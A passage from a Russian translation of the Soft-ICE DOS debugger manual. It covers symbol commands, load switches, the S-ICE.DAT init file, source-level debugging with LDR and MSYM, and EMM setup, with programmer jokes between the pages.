SYM [имя-символа [значение]] |
Имя-символа -- Допустимое имя символа. Имя символа может заканчиваться знаком * (звездочкой). Это позволяет искать, если известна только первая часть имени символа. Знак , (запятая) может использоваться как знак-маска вместо знака в имени символа.
Значение -- Это - значение типа СЛОВО, которое используется если вы хотите присвоить символу определенное значение.
Комментарии:
Команда SYM позволяет отображать и устанавливать символы. Если SYM введена без параметров, отображаются все символы. Значение каждого символа отображается рядом с именем символа.
Если имя символа указано без значения, то отображаются имя символа и его значение. Если имя символа не было найдено, ничего не выводится.
Команда SYM часто полезна для нахождения имени символа, когда помните только часть имени. Для поиска символов доступны два метода поиска по маске. Если имя символа заканчивается знаком *, то выводятся все символы, которые совпадают с фактическими буквами, указанными до знака *, независимо от завершающих букв. Если знак , используется вместо определенной буквы в имени символа, то этот знак является символом- маской.
Если указано значение, всем символам, соответствующим имени-символа, присваивается указанное значение. Все символы имеют значения типа СЛОВО.
Примеры:
SYM FOO* |
Отображаются все символы, которые начинаются с FOO.
SYM FOO* 6000 |
Всем символам, которые начинаются с FOO, присваивается значение 6000.
SYMLOC
SYMLOC -- Переместить базу символа.
Синтаксис:
SYMLOC адрес-сегмента |
Комментарии:
Команда SYMLOC перемещает сегментные компоненты всех символов относительно указанного адреса-сегмента. Эта функция необходима при отладке загружаемых драйверов устройств или других программ, которые не могут быть непосредственно загружены LDR.EXE.
При настройке для загружаемого драйвера устройства, используйте значение базы адреса драйвера, найденного в команде MAP. При настройке для .EXE-программы, значение должно быть на 10H больше чем найденная база в команде MAP. При настройке для .COM-программы, используйте адрес базового сегмента, найденного в команде MAP.
Команда MAP отобразит, по крайней мере, два входа для каждой программы. Первый - обычно среда, а второй - обычно сама программа. Базовый адрес программы - значение перемещения.
Пример:
SYMLOC 1244 + 10 |
Это переместит все сегменты в таблице идентификаторов относительно 1244. + 10 используется, чтобы переместить TSR бывший первоначально .EXE-файлом. Если это - .COM-файл + 10 не обязательно.
SRC
SRC -- Переключает между исходным текстом, смешанным режимом и кодом.
Синтаксис:
SRC [?] |
Комментарии:
Команда SRC переключает между режимом исходного текста, смешанным режимом и режимом кода в окне кода.
Если введено SRC ?, отображается текущее состояние.
Пример:
SRC |
Эта команда изменяет текущий режим окна кода. Если режим был режимом исходного текста, он становится смешанным. Если режим был смешанным, он становится режимом кода. Если режим был режимом кода, он становится режимом исходного текста.
Руководство по Soft-ICE (DOS) - 17.
| - Вы кем работаете? - Я фармацевт. - А, значит в аптеке работаете. - Нет, диск С форматирую. |
Функциональная клавиша по умолчанию: F3.
FILE
FILE -- Изменить/вывести текущий исходный текст.
Синтаксис:
FILE [имя файла] |
Комментарии:
Если имя файла указано, этот файл становится текущим файлом и начало файла выводится в окне кода. Если имя не указано, выводится имя текущего файла (если он есть) с исходным текстом.
Команда FILE часто полезна при установке точки останова в строке, которая не ассоциирована ни с одним публичным символом. Используйте FILE, для вызова желаемого файла в окно кода, используйте команду SS для поиска определенной строки, переместите в нее курсор и введите BPX для установки точки останова.
Обратите внимание:
Для команды FILE доступны только файлы с исходным текстом, загруженные в дополнительную память (XMS) программой LDR.EXE.
Пример:
FILE MAIN.C |
Если MAIN.C был загружен LDR.EXE, эта команда выводит его в окно кода, начиная со строки 1.
SS
SS -- Найти строку в текущем файле с исходным текстом.
Синтаксис:
SS [номер-строки] ['строка'] |
Номер-строки -- десятичное число строка -- символьная строка, заключенная в кавычки. Кавычки могут быть как одиночными так и двойными.
Комментарии:
Команда SS ищет в текущем файле с исходным текстом указанную символьную подстроку. Если имеется соответствие, строка, в которой была найдена подстрока будет выведена как верхняя строка в окне кода.
Поиск начинается с указанного номера строки. Если номер строки не указан, поиск начинается с верхней строки, отображаемой в окне кода.
Если параметры не указаны, продолжается поиск предыдущей указанной строки.
Обратите внимание:
Окно кода должно быть видимо и быть в режиме исходного текста до использования команды SS.
Пример:
SS 1 'if (i = = 3)' |
В текущем файле с исходным текстом ищется, начиная со строки 1, подстрока 'if (i = = 3)'. Строка, содержащая следующее совпадение с подстрокой, становится верхней отображаемой строкой в окне кода.
РАЗДЕЛ III -- Поддерживаемые Возможности
ГЛАВА 6
6.1 Введение
Программный файл Soft-ICE (S-ICE.EXE) может быть загружен как загружаемый драйвер устройства в CONFIG.SYS или как программа из командной строки DOS. Для получения всей силы Soft-ICE, он должен быть загружен как драйвер устройства в CONFIG.SYS. Однако, могут иметься обстоятельства, когда вы можете захотеть запустить Soft-ICE из командной строки DOS или пакетного файла, типа:
* У вас нет расширенной памяти в вашей системе. Soft-ICE можно загрузить как загружаемый драйвер устройства, только если у вас есть расширенная память. * Вы хотите занять НОЛЬ байт обычной памяти. При загрузке как драйвер устройства, Soft-ICE занимает приблизительно 2КБ обычной памяти. * Вам только иногда необходимо использовать Soft-ICE и нет никаких других программ, использующих расширенную память.
В некоторых случаях вам могут быть нужны некоторые возможности, требующие загрузки Soft-ICE из CONFIG.SYS, но не нужно, чтобы Soft-ICE был постоянно резидентным. В этом случае Soft-ICE может быть загружен из CONFIG.SYS, чтобы зарезервировать расширенную память, и потом отключен переключателем /UN, пока не потребуется Soft-ICE. См. часть 6.3.1 для большей информации относительно переключателя /UN.
6.2 Загрузка из командной строки DOS
Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки DOS. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загружать Soft-ICE из файла CONFIG.SYS.
Чтобы загрузить Soft-ICE из командной строки DOS, введите.
S-ICE |
В системах без расширенной памяти, Soft-ICE загружается в самые высокие возможные адреса памяти. Тогда память, используемая Soft-ICE "отрезается", становясь невидимой для программ DOS. Так как общая память, видимая для DOS и ее программ, уменьшается после загрузки Soft-ICE, рекомендуется загружать Soft-ICE до загрузки любых TSR-программ.
В системах с расширенной памятью вы можете загружать Soft-ICE из командной строки DOS, только если вы не используете расширенную память для чего-либо еще (напр. VDISK, CACHE, HIMEM...). Когда вы загружаете Soft-ICE из командной строки или из пакетного файла, Soft-ICE предупредит вас, выдав специальное сообщение. Это предупреждение только напоминает вам, что Soft-ICE перезапишет старшую область расширенной памяти, когда загрузится. Вы можете подавить это предупреждающее сообщение при помощи опции EXTENDED в файле конфигурации Soft-ICE. Для большей информации относительно опции EXTENDED, см. часть 6.4.1.
6.3 Загрузка Soft-ICE как Загружаемого Драйвера Устройства
Чтобы использовать все возможности Soft-ICE, вы должны загрузить Soft-ICE как загружаемый драйвер устройства в вашем файле CONFIG.SYS. При этом становятся доступными следующие возможности:
* Сосуществование с другим программным обеспечением, использующим расширенную память. Загрузка как драйвера устройства позволяет Soft-ICE управлять расширенной памятью, так что вы можете запускать Soft-ICE с программами, использующими расширенную память, такими как VDISK, CACHE и HIMEM. * Отладка на уровне символов и исходного текста. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации о символах и исходном тексте. * Диапазоны обратной трассировки и команда SNAP. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации обратной трассировки. Этот буфер также используется для команды Soft-ICE, SNAP. * Активизация возможностей Soft-ICE по EMM 4.0 * Запуск Soft-ICE с MagicCV или MagicCVW.
Заметьте:
Загруженный, как драйвер устройства в CONFIG.SYS, Soft-ICE резервирует старшую область расширенной памяти для себя и связанных с ним компонент, следовательно не может возникнуть конфликтов памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS до любого другого драйвера, резервирующего расширенную память при загрузке (напр. VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает наилучшим образом, если он - первый загружаемый драйвер устройства в CONFIG.SYS.
6.3.1 Переключатели Загрузки Soft-ICE
После S-ICE.EXE в CONFIG.SYS может быть указан один или более переключателей загрузки. Эти переключатели позволяют вам указывать, как Soft-ICE будет резервировать расширенную память. Все переключатели должны начинаться символом / . Есть следующие переключатели загрузки:
* /EXT XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для других программ DOS, использующих расширенную память (напр. VDISK, CACHE, HIMEM,...). Если переключатель.
/EXT не указан, то расширенная память, не используемая Soft-ICE и связанными с ним компонентами будет оставлена, как стандартная расширенная память, но ее количество нельзя гарантировать. Переключатель /EXT полезен, потому что иногда трудно точно определить, сколько памяти используется Soft-ICE и связанными с ним компонентами. Использование переключателя /EXT будет гарантировать, что указанное количество будет доступно для других программ, использующих расширенную память.
* /SYM XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для символов и исходного текста. Если XXXX не указано, то вся остающаяся расширенная память используется для символов. Должно быть зарезервировано достаточно памяти для вашего файла .SYM и всех исходных текстов. Для большей информации об использовании символов и исходного текста, см. главу 7.
* /TRA XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для буфера истории обратной трассировки. Этот буфер используется для диапазонов обратной трассировки и для команды SNAP. Если XXXX не указано, то для буфера автоматически резервируется 10КБ расширенной памяти. Если вы вообще не хотите резервировать память для буфера обратной трассировки, используйте /TRA 0. Для большей информации об использовании диапазонов обратной трассировки, см. главу 9.
* /MCV XXX -- Сообщает S-ICE.EXE зарезервировать XXX килобайт расширенной памяти для MagicCV или MagicCVW. Минимальный объем расширенной памяти, который вы можете указать - 280КБ и максимум - 620КБ. Если XXX не указано, S-ICE.EXE зарезервирует остающуюся память, между 280КБ и 620КБ. См. главу 10 для большей информации относительно работы Soft-ICE с MagicCV или MagicCVW.
* /EMM XXXX -- Сообщает S-ICE.EXE преобразовать XXXX килобайт расширенной памяти в отображаемую память, соответствующую EMM 4.0. Если указано XXXX, то вся остающаяся память используется как отображаемая. См. главу 8 для большей информации Относительно поддержки отображаемой памяти.
* /UN -- Сообщает S-ICE.EXE перейти в защищенный режим, зарезервировать необходимую расширенную память, затем выйти из защищенного режима и выгрузиться. Этот переключатель должен использоваться, когда вы загружаете S-ICE.EXE как загружаемый драйвер устройства, но не хотите, чтобы ваша система оставалась в защищенном режиме. Этот переключатель зарезервирует память для Soft-ICE, и вы должны выполнить S-ICE.EXE из командной строки DOS, когда вы будете готовы использовать Soft-ICE.
Soft-ICE резервирует расширенную память в следующем порядке, независимо от порядка указанных переключателей:
Резервируется приблизительно 120КБ для S-ICE.EXE. Резервируется память для переключателя /EXT, если он указан. Резервируется память для переключателя /SYM, если он указан. Резервируется память для переключателя /TRA, если он указан. Если он не указан, по умолчанию резервируется 10КБ для буфера обратной трассировки. Резервируется память для переключателя /MCV, если он указан. Резервируется память для переключателя /EMM, если он указан.
Если при попытке зарезервировать память для переключателя в вышеупомянутой последовательности, доступной памяти не хватает, S-ICE.EXE делает следующее:
1. Остающаяся расширенная память резервируется для переключателя, обрабатываемого, когда не хватило памяти. 2. Память не будет резервироваться для оставшихся переключателей.
Заметьте:
Если присутствует переключатель /MCV или /EMM, резервируются дополнительные 64КБ расширенной памяти для буфера поддержки DMA.
Переключатели могут быть указаны в любом порядке после DEVICE = S-ICE.EXE. Пример:
DEVICE = S-ICE.EXE /TRA50 /EMM 500 /SYM 2048 |
Если доступны четыре мегабайта расширенной памяти, этот пример зарезервирует приблизительно 120КБ для Soft-ICE, 2 мегабайта для символов, 50КБ для буфера истории обратной трассировки, 500КБ для отображаемой памяти и оставит приблизительно 1,3 мегабайта для других программ расширенной памяти. Заметьте, что Soft-ICE загрузится в самую высокую область расширенной памяти, оставив оставшуюся память, начиная с 100000H (мегабайтовая отметка).
Руководство по Soft-ICE (DOS) - 18.
| - Сколько нужно программистов, чтобы ввернуть лампочку? - Ни одного: это аппаратная проблема, а они этим не занимаются! |
6.4 Файл Инициализации Soft-ICE, S-ICE.DAT.
У Soft-ICE есть несколько опций загрузки. Эти опции указываются размещением специальных команд в файле инициализации, называющемся S-ICE.DAT. S-ICE.DAT - текстовый ASCII-файл, который Soft-ICE читает при загрузке. Этот файл может содержать назначения функциональных клавиш, строку автостарта и различные опции конфигурации. Файл может быть создан и отредактирован любым текстовым редактором DOS. При загрузке Soft-ICE из командной строки, S-ICE.DAT должен находиться в текущем каталоге или в каталоге, доступном через вашу текущую переменную PATH. Когда Soft-ICE загружается как драйвер устройства в CONFIG.SYS, S-ICE.DAT должен быть в том же самом каталоге, где находится S-ICE.EXE.
Есть три категории команд, которые могут быть включены в файл инициализации S-ICE.DAT:
* Специальные опции конфигурации * Назначения функциональных клавиш * Последовательность команд инициализации.
6.4.1 Специальные Опции Конфигурации
Любая из следующих опций конфигурации, которые необходимы, должна быть помещена в отдельную строку в файле S-ICE.DAT.
* COMPAQ -- Компьютер Compaq 386 и 386SX и некоторые Compaq-совместимые компьютеры (включая компьютеры, содержащие материнские платы Micronix) имеющий 384КБ из несмежных участков расширенной памяти. Опция COMPAQ необходима, если вы хотите, что бы Soft-ICE использовал эту память. Заметьте, что опция COMPAQ идентична параметру командной строки /C в Soft-ICE 1.X.
* NOLEDS -- Опция NOLEDS сообщает Soft-ICE не устанавливать и не очищать LED-ы клавиатуры, во время вызова окна Soft-ICE. На некоторых клавиатурах существуют проблемы с таймером, которые будут вызывать у Soft-ICE потерю синхронизации с клавиатурой. Если Soft-ICE зависает, когда вы - в окне Soft-ICE, используйте эту опцию. Заметьте что опция NOLEDS идентична параметру командной строки /L в Soft-ICE 1.X.
* NOTVGA -- Опция NOTVGA позволяет Soft-ICE работать на BIOS-совместимых VGA-картах. Много карт VGA не совместимы с IBM VGA на уровне аппаратных средств. Эти карты поддерживают VGA только на уровне BIOS. Используйте этот переключатель если у вас один из таких видеоадаптеров. Заметьте, что опция NOTVGA - то же самое, что и параметр командной строки /V в Soft-ICE 1.X.
* EXTENDED -- Опция EXTENDED заставляет Soft-ICE загружаться непосредственно в расширенную память без предупреждения пользователя при помощи специального сообщения. Она должна использоваться, если вы загружаете Soft-ICE из командной строки DOS и не хотите вывода сообщения и больше ничего не знаете об использовании расширенной памяти. Заметьте что опция EXTENDED - тот же самое, что и параметр командной строки /E в Soft-ICE 1.X.
6.4.2 Назначения Функциональных Клавиш
Во время загрузки любой функциональной клавише может быть назначена одна или больше команд Soft-ICE. См. описание команды FKEY в части 5.8 (Команды Настройки Отладчика) для описания назначения функциональных клавиш из командной строки Soft-ICE.
Синтаксис для назначения названий функциональных клавиш в S-ICE.DAT:
Название-функциональной-клавиши = "строка" Название-функциональной-клавиши -- F1, F2... F12. строка -- строка может состоять из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.
Вот пример назначения функциональной клавиши в S-ICE.DAT:
F12 = "D 100;" |
Это назначит команду Soft-ICE, Dump функциональной клавише 12. При нажатии F12 Soft-ICE будет выводить дамп памяти со смещения 100H в текущем сегменте данных. Точка с запятой после 100 представляет клавишу ВВОД.
6.4.3 Последовательность Команд Инициализации
При загрузке Soft-ICE может быть автоматически выполнена группа команд. Это полезно для настройки Soft-ICE под ваши нужды. Например, вы могли бы установить параметры окон и изменить стандартную комбинацию горячих клавиш. Синтаксис для введения последовательности команд инициализации в S-ICE.DAT следующий:
INIT = "строка-назначения" |
Строка-назначения -- Строка состоит из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.
Пример последовательности команд инициализации в S-ICE.DAT:
INIT = "WIN; WR; WD 1; WC 12; ALTKEY CTRL X;" |
Этот пример переведет окно Soft-ICE в полноэкранный режим, создаст окно регистров, создаст окно данных высотой в одну строку, создаст окно кода высотой 12 строк и изменит комбинацию горячих клавиш на CTRL X.
Пример S-ICE.DAT.
Пример файла инициализации включен в содержимое дистрибутивной дискеты. Этот пример назначает функциональные клавиши так, что они используются в той же манере, как и функциональные клавиши в отладчике Microsoft CodeView. Этот пример S-ICE.DAT также должен использоваться "как есть" для обучающей части в главе 3.
ГЛАВА 7
Отладка на Уровне Символов и Исходного Текста.
7.1 Введение 7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста 7.2.1 Подготовка к Отладке Только на Уровне Символов 7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста 7.3 Резервирование Памяти для Символов и Исходного Текста 7.4 Загрузка Программ и Файлов с Символами 7.5 Символьная Отладка 7.6 Отладка по Исходному Тексту.
7.1 Введение
Soft-ICE может загружать программы, таблицы символов и исходные тексты для расширенной отладки. Символьная отладка позволяет устанавливать точки останова и ссылаться на переменные по символьным именам, не указывая числовые адреса. Отладка по исходному тексту позволяет вам проходить через вашу программу на уровне исходного текста, а не на уровне машинного кода.
Информация о символах и строках исходного текста извлекается из файла с картой связей. Карта связей должна быть совместима с Microsoft linker версии 3.60 или выше.
Символы и исходные файлы расположены в расширенной памяти. У вас должно быть достаточно памяти для символов и исходных файлов. Исходные файлы не читаются с диска, как во многих отладчиках. Это позволяет Soft-ICE обеспечить полную системную отладку на уровне исходного текста. Вы можете отлаживать резидентные обработчики прерываний и другой системный код на уровне исходного текста.
Заметьте:
Вы не можете использовать символьную или отладку по исходному тексту, пока Soft-ICE не загружен как драйвер устройства в CONFIG.SYS.
7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста
До отладки программы с символами или исходным текстом вы должны создать файл символов. Это - двоичный файл, содержащий информацию о символах и номерах строк в формате, который Soft-ICE понимает. Этот файл создается при помощи утилиты MSYM.EXE. MSYM.EXE читает вашу карту связей, чтобы создать файл символов с расширением (.SYM).
7.2.1 Подготовка к Отладке Только на Уровне Символов
Для подготовки программы только к символьной отладке, вы должны выполнить следующие шаги:
1. Скомпилировать или оттранслировать вашу программу. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатель /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.
Заметьте:
До компилирования или трансляции вашей программы вы можете захотеть сделать публичными некоторые дополнительные символы. При символьной отладке Soft-ICE поддерживает только публичные символы. Методы объявления переменных или меток публичными варьируют в зависимости от того, какой язык вы используете.
На языке ассемблера 8086, укажите директиву PUBLIC, сопровождаемую локально определенными символами, которые вы хотите сделать публичными. Например:
PUBLIC FOO, LOOP1, STATUS |
На языке C, все названия процедур и статические переменные, определенные вне блока, являются публичными.
Для других языков, обратитесь к вашему руководству по языку для подробностей.
7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста
Для подготовки программы к символьной и отладке по тексту, вы должны выполнить следующие шаги:
1. Скомпилировать или оттранслировать все модули, которые вы хотите отлаживать по исходному тексту с соответствующими переключателями, чтобы поместить информацию о номерах строк в объектные файлы. С языками Microsoft вы можете использовать либо переключатель /Zi либо /Zd. Вы можете не хотеть, проделывать это со всеми файлами, потому что объединенные размеры файла символов и всех исходных файлов, скомпилированных с этими переключателями, должны вписаться в объем расширенной памяти, который вы зарезервировали при помощи переключателя загрузки /SYM в CONFIG.SYS. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит номера строк исходного текста и список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатели /LI и /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.
7.3 Резервирование Памяти для Символов и Исходного Текста
До загрузки программ, символьных и исходных файлов вы должны зарезервировать расширенную память. Расширенная память резервируется, при загрузке Soft-ICE в CONFIG.SYS. До резервирования расширенной памяти вы можете захотеть сложить размеры .SYM-файла и всех исходных файлов, которые вы хотите загрузить. Вы должны зарезервировать, по крайней мере, столько расширенной памяти. Вы должны использовать переключатель /SYM при загрузке S-ICE.EXE. Вот пример строки в CONFIG.SYS для загрузки Soft-ICE и резервирования места для символов и исходных файлов:
DEVICE = S-ICE.EXE /SYM 1024 |
Этот пример загружает Soft-ICE в расширенную память и резервирует 1 мегабайт памяти для символов и исходных файлов. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей о резервировании памяти.
7.4 Загрузка Программ и Файлов с Символами
Утилита Soft-ICE, LDR.EXE используется для загрузки программ, файлов символов и исходных файлов. Для символьной отладки прикладных программ и T&SR-программ вы обычно будете использовать LDR.EXE, чтобы загрузить программу, символы и исходные файлы за один шаг. Для отладки загружаемых драйверов устройства, ПЗУ и других системных компонент вы обычно будете использовать LDR.EXE, чтобы загрузить только файл символов и исходные файлы. Вот синтаксис для LDR.EXE:
Руководство по Soft-ICE (DOS) - 19.
| - Я умею торм... торм... тормозить. WINDOWS: - А я умею висееееееееее... |
LDR название-программы | название-программы.SYM | название-программы.расширение.
7.4.1 Загрузка Программы, Символов и Исходного Текста
Для загрузки вашей программы, символов и исходных файлов за один шаг, вы должны использовать LDR.EXE так:
LDR название-программы |
Обратите внимание, что название-программы не имеет расширения. Если расширение не указано, LDR.EXE выполнит следующие действия:
1. Загрузит название-программы.SYM в расширенную память 2. Загрузит исходные файлы в расширенную память. Этот шаг выполняется только, если в .SYM-файле есть записи об исходных файлах. 3. Загрузит название-программы.EXE в память, в область, куда бы она загрузилась, если бы была загружена непосредственно из командной строки DOS. 4. Вызовет Soft-ICE с указателем инструкций на первой инструкции вашей программы. Если это - C- программа и для файла, содержащего _MAIN, загружен исходный текст, тогда исходный текст этого файла будет видим в окне кода.
7.4.2 Загрузка только Символов и Исходных Файлов
Если вы хотите загрузить только символы и исходные файлы (например, для отлад- ки загружаемого драйвера устройства), вы должны использовать LDR.EXE так:
LDR название-программы.SYM |
Обратите внимание, что расширение .SYM - указано. .SYM-файл и исходные файлы будут загружены в расширенную память. Когда символы загружены таким образом, символы вашей программы или драйвера устройства будут приняты для ссылки с адреса 0:0. Так как это - редкий случай, вы должны будете использовать команду Soft-ICE, SYMLOC для локализации символов. См. описание команды SYMLOC в главе 5.10 для полной информации. Вот пример загрузки файла символов, называющегося DRIVER.SYM:
LDR DRIVER.SYM |
7.4.3 Загрузка Программы Без Символов или Исходного Текста
Для загрузки программного файла без загрузки связанного с ним файл символов, вы должны использовать LDR.EXE так:
LDR название-программы.расширение |
Обратите внимание, что расширение файла присутствует. Обычно расширение файла будет .EXE или .COM. Когда расширение файла определено, LDR.EXE загрузит программу и вызовет Soft-ICE с указателем инструкций на первой инструкции программы. Вот пример загрузки программы с символами и исходным текстом:
LDR TEST.EXE |
Примечания:
LDR.EXE автоматически сохраняет копию таблицы векторов прерываний при загрузке вашей программы. Это эквивалентно выполнению команды VECS S. Если вы хотите выйти из вашей программы до ее завершения, вы можете выполнить EXIT R для выхода из программы и восстановления таблицы векторов прерываний.
Использование LDR.EXE для загрузки только название-программы.EXE часто полезно для рестарта вашей программы, во время сессии отладки по исходному тексту. Для рестарта выполните команду EXIT R, чтобы прервать текущую сессию. Затем используйте LDR.EXE, для повторной загрузки вашего .EXE-файла. Символы: исходный текст не должен загружаться, т.к. он остается в расширенной памяти.
Если LDR.EXE выдает вам сообщение "Out of space loading symbol information", это означает, что вы не зарезервировали достаточно расширенной памяти при помощи переключателя загрузки /SYM в CONFIG.SYS.
Если LDR.EXE не находит ваши исходные файлы в той же директории, что и программа, которую вы загружаете, LDR.EXE попросит указать путь, по которому он может найти исходные файлы. Если у вас исходные файлы в нескольких директориях или вы часто загружаете программу, это становится тяжелым. Вы можете устранить необходимость во вводе, используя переменную окружающей среды DOS, SRC. LDR.EXE использует эту переменную окружающей среды, чтобы найти исходные файлы до обращения к пользователю. Вот синтаксис для установки переменной окружающей среды из командной строки DOS:
SET SRC = директория;директория;...;директория |
В каждой из указанных директорий будет произведен поиск до обращения к пользователю.
Ограничения:
Soft-ICE поддерживает символы только для одной программы одновременно. Если вы загружаете новый .SYM-файл, существующий - перезаписывается. Soft-ICE не поддерживает оверлеи или перемещения сегментов Microsoft Windows. Soft-ICE распознает только публичные символы и номера строк. Он не поддерживает локальные переменные.
7.5 Символьная Отладка
После того, как вы загрузили вашу программу и .SYM-файл, вы можете начинать символьную отладку вашей программы. Вообще символ может использоваться в любой команде вместо адреса.
Символы также используются несколькими командами Soft-ICE, когда выводятся адреса. Например, команда U выводит символьные имена меток и процедур, когда с ними сталкивается. Есть две команды, которые полезны при символьной отладке:
* SYM -- Используйте команду SYM, чтобы получить список названий и значений символов или изменить значение символа. * SYMLOC -- Используйте команду SYMLOC, чтобы переместить базу всех ваших символов. Вы будете должны использовать команду SYMLOC когда:
1. Загружаете символы для загружаемого драйвера устройства 2. Загружаете символы для T&SR, который уже загружен 3. Ваша программа перемещает себя в местоположение, отличное от первоначального. См. часть 5. 10 для полного описания этих команд.
7.6 Отладка по Исходному Тексту
Когда загружены исходные файлы, Soft-ICE позволяет вам просматривать и проходить ваш исходный код как при обычной отладке. Soft-ICE предоставляет два разных режима отладки по исходному тексту: смешанный режим и режим исходного текста. Используйте команду SRC для переключения между режимами. Смешанный режим выводит строки исходного текста и код ассемблера, полученный из этих строк исходного текста, совместно. Смешанный режим полезен, когда вы должны отлаживать на уровне ассемблера, но использовать исходный текст для ссылки. Смешанный режим обеспечивается и когда окно кода видимо и когда нет.
Режим исходного текста строго выдает на экран строки исходного текста. Отладка по исходному тексту требует, чтобы окно кода было видимо.
7.6.1 Использование Номеров Строк
Номера строк могут использоваться вместо адресов в нескольких командах. Для отличия номера строки от фактического адреса, поместите знак . (точка) перед номером. Например, чтобы установить точку останова на выполнение в строке исходного текста 450, введите:
BPX .450 |
7.6.2 Использование Режима Исходного Текста в Окне Кода
Для входа в режим исходного текста, должно быть видимо окно кода. Если оно невидимо, используйте команду WC, чтобы сделать его видимым. Однажды войдя в режим исходного кода, вы можете использовать команды Soft-ICE, переключаться на другой исходный файл, просматривать исходный текст в любом месте файла, пролистывать файл, искать строки в файле и устанавливать точки останова в файле. Для полной информации следующих команд см. их описания в главах 4 и 5. Следующий список - краткий обзор команд, полезных при отладке по исходному тексту:
* Сделать окно кода видимым (если оно еще не видимо) командой WC. * Переключить между режимом исходного текста, смешанным и режимом кода командой SRC. Для переключения режимов введите: SRC * Поместить исходный файл в окно кода (если он еще не там) командой FILE. Например, для перехода от текущего файла к файлу MAIN.C введите:
FILE MAIN.C |
* Вывести исходный текст с определенной позиции в исходном файле командой U. Чтобы изменить вывод на определенную строку или адрес памяти используйте команду U. Вы можете указывать фактические адреса или номера строк как параметры для команды. Например, чтобы просмотреть исходный текст в окне кода, начиная со строки исходного текста 450, введите:
U. 450 |
* Найти текущую инструкцию в окне кода командой . (точка). * Искать определенную символьную строку командой SS. Например, чтобы искать строку "Hello World", начиная со строки 100 в текущем исходном файле, введите:
SS 100 "Hello World" |
* Переместить курсор в окно кода (если он еще не там) командой EC. * Листать исходный текст клавишами вверх, вниз, PageUp, PageDn. * Установить точку останова типа point-and-shoot командой BPX. Просто поместите курсор в строку исходного текста, на которой вы хотите остановиться, затем введите:
BPX |
ГЛАВА 8
8.1 Введение
У Soft-ICE есть менеджер отображаемой памяти, встроенный в его ядро. Менеджер отображаемой памяти Soft-ICE поддерживает спецификацию Lotus-Intel-Microsoft.
4.0. Эта возможность Soft-ICE полезна, если вы используете программы, поддерживающие спецификацию EMM или если вы должны нарастить вашу обычную память, чтобы расширить системную память до 640КБ или больше.
Другие контролирующие программы 386, обеспечивающие возможности EMM (типа QEMM или 386-to-the-MAX) не будут работать с Soft-ICE. Если вы используете эти программы для возможностей EMM или наращивания, вы можете использовать вместо них EMM-менеджер Soft-ICE.
Активизация возможностей EMM в Soft-ICE включает следующие шаги:
1. Конфигурирование окружения отображаемой памяти утилитой EMMSETUP.EXE. Эта утилита изменяет S-ICE.EXE с учетом желаемой карты EMM-страниц. 2. Добавление переключателя /EMM в вашу строку S-ICE.EXE в CONFIG.SYS. Это резервирует часть расширенной памяти для отображаемой памяти. Вот пример строки в CONFIG.SYS, резервирующей память для EMM:
DEVICE = S-ICE.EXE /EMM 2048 |
Будет зарезервировано 2 мегабайта расширенной памяти на использование для EMM. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей установки Soft-ICE в CONFIG.SYS. 3. Перезагрузите вашу систему.
8.2 Конфигурирование Окружения EMM
Перед установкой S-ICE.EXE с переключателем /EMM в файл CONFIG.SYS, вам может быть придется запустить EMMSETUP.EXE чтобы сконфигурировать окружение EMM 4.0. Этот процесс конфигурации позволит вам указать, какие участки памяти вы хотели бы сделать доступными как страницы EMM 4.0. Запуск EMMSETUP.EXE сильно рекомендуется, если вы используете программы, требующие все преимущества спецификации EMM 4.0.
8.2.1 Страницы EMM по умолчанию
По умолчанию, S-ICE.EXE с переключателем /EMM - сконфигурирован предоставить страницы EMM 4.0 в следующих областях:
* Нижние 640КБ (кроме 1-х 64КБ) * 64КБ, начинающиеся с D000H Вы можете захотеть реконфигурировать EMM по следующим причинам:
* У вас может быть устройство типа сети, использующее область памяти с D000H. * Вы можете захотеть заполнить большее количество "дыр" выше 640КБ страницами EMM. Это увеличит производительность и применимость программ типа Microsoft Windows. Чтобы получить максимальную производительность от Microsoft Windows, вы должны заполнить все доступные страницы отображаемой памятью.Руководство по Soft-ICE (DOS) - 2.
| - Сколько инженеров по программному обеспечению из компании "Майкрософт" нужно для того, чтобы выкрутить перегоревшую лампочку и закрутить новую? - Нисколько. Они просто определят темноту как индустриальный стандарт. |
2. Запустите, Soft-ICE из командной строки DOS, набрав.
S-ICE. |
